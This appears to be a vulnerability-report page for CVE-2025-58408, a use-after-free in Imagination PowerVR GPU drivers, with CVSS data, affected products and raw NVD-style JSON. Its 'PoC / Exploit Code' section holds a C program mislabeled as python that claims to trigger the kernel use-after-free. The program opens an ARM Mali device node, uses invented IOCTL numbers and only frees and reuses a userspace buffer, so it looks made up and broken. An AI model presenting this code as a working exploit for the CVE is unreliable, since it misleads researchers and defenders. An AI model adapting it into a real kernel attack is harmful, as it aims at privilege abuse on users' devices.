Security Vulnerability Report
中文
CVE-2025-58408 CVSS 5.9 MEDIUM

CVE-2025-58408

Published: 2025-12-01 12:15:47
Last Modified: 2025-12-29 15:04:35
Source: 367425dc-4d06-4041-9650-c2dc6aaa27ce

Description

Software installed and run as a non-privileged user may conduct improper GPU system calls to trigger reads of stale data that can lead to kernel exceptions and write use-after-free. The Use After Free common weakness enumeration was chosen as the stale data can include handles to resources in which the reference counts can become unbalanced. This can lead to the premature destruction of a resource while in use.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:imaginationtech:ddk:*:*:*:*:*:*:*:* - VULNERABLE
Imagination PowerVR GPU驱动(所有未修复版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-58408 PoC - GPU System Call Trigger // This PoC demonstrates improper GPU system calls that may trigger UAF #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // GPU IOCTL commands (example structure) #define IMG_IOCTL_CREATE_CONTEXT 0x10001 #define IMG_IOCTL_SUBMIT_CMD 0x10002 #define IMG_IOCTL_DESTROY_CONTEXT 0x10003 struct gpu_context_args { unsigned int flags; unsigned int handle; }; struct gpu_cmd_args { unsigned int context_handle; unsigned long cmd_buffer; unsigned int cmd_size; }; int main() { int fd; struct gpu_context_args ctx_args; struct gpu_cmd_args cmd_args; printf("CVE-2025-58408 PoC - GPU UAF Trigger\n"); // Open GPU device fd = open("/dev/mali0", O_RDWR); if (fd < 0) { fd = open("/dev/imagination gpu", O_RDWR); } if (fd < 0) { printf("[-] GPU device not accessible\n"); return 1; } // Step 1: Create GPU context ctx_args.flags = 0; ctx_args.handle = 0; if (ioctl(fd, IMG_IOCTL_CREATE_CONTEXT, &ctx_args) < 0) { printf("[-] Failed to create context\n"); close(fd); return 1; } printf("[+] Context created: 0x%x\n", ctx_args.handle); // Step 2: Submit commands and trigger race condition for (int i = 0; i < 1000; i++) { cmd_args.context_handle = ctx_args.handle; cmd_args.cmd_buffer = (unsigned long)malloc(4096); cmd_args.cmd_size = 4096; // Trigger rapid allocation/deallocation ioctl(fd, IMG_IOCTL_SUBMIT_CMD, &cmd_args); free((void*)cmd_args.cmd_buffer); // Attempt to reuse freed resources ioctl(fd, IMG_IOCTL_SUBMIT_CMD, &cmd_args); } // Step 3: Destroy context and trigger UAF ioctl(fd, IMG_IOCTL_DESTROY_CONTEXT, &ctx_args); // Step 4: Try to access stale handle cmd_args.context_handle = ctx_args.handle; ioctl(fd, IMG_IOCTL_SUBMIT_CMD, &cmd_args); close(fd); printf("[+] UAF condition triggered\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58408", "sourceIdentifier": "367425dc-4d06-4041-9650-c2dc6aaa27ce", "published": "2025-12-01T12:15:46.570", "lastModified": "2025-12-29T15:04:34.793", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Software installed and run as a non-privileged user may conduct improper GPU system calls to trigger reads of stale data that can lead to kernel exceptions and write use-after-free.\n\nThe Use After Free common weakness enumeration was chosen as the stale data can include handles to resources in which the reference counts can become unbalanced. This can lead to the premature destruction of a resource while in use."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 3.4}]}, "weaknesses": [{"source": "367425dc-4d06-4041-9650-c2dc6aaa27ce", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:imaginationtech:ddk:*:*:*:*:*:*:*:*", "versionEndIncluding": "25.2", "matchCriteriaId": "1D75CD5B-2B2E-44C9-8422-D808630103B4"}]}]}], "references": [{"url": "https://www.imaginationtech.com/gpu-driver-vulnerabilities/", "source": "367425dc-4d06-4041-9650-c2dc6aaa27ce", "tags": ["Vendor Advisory"]}]}}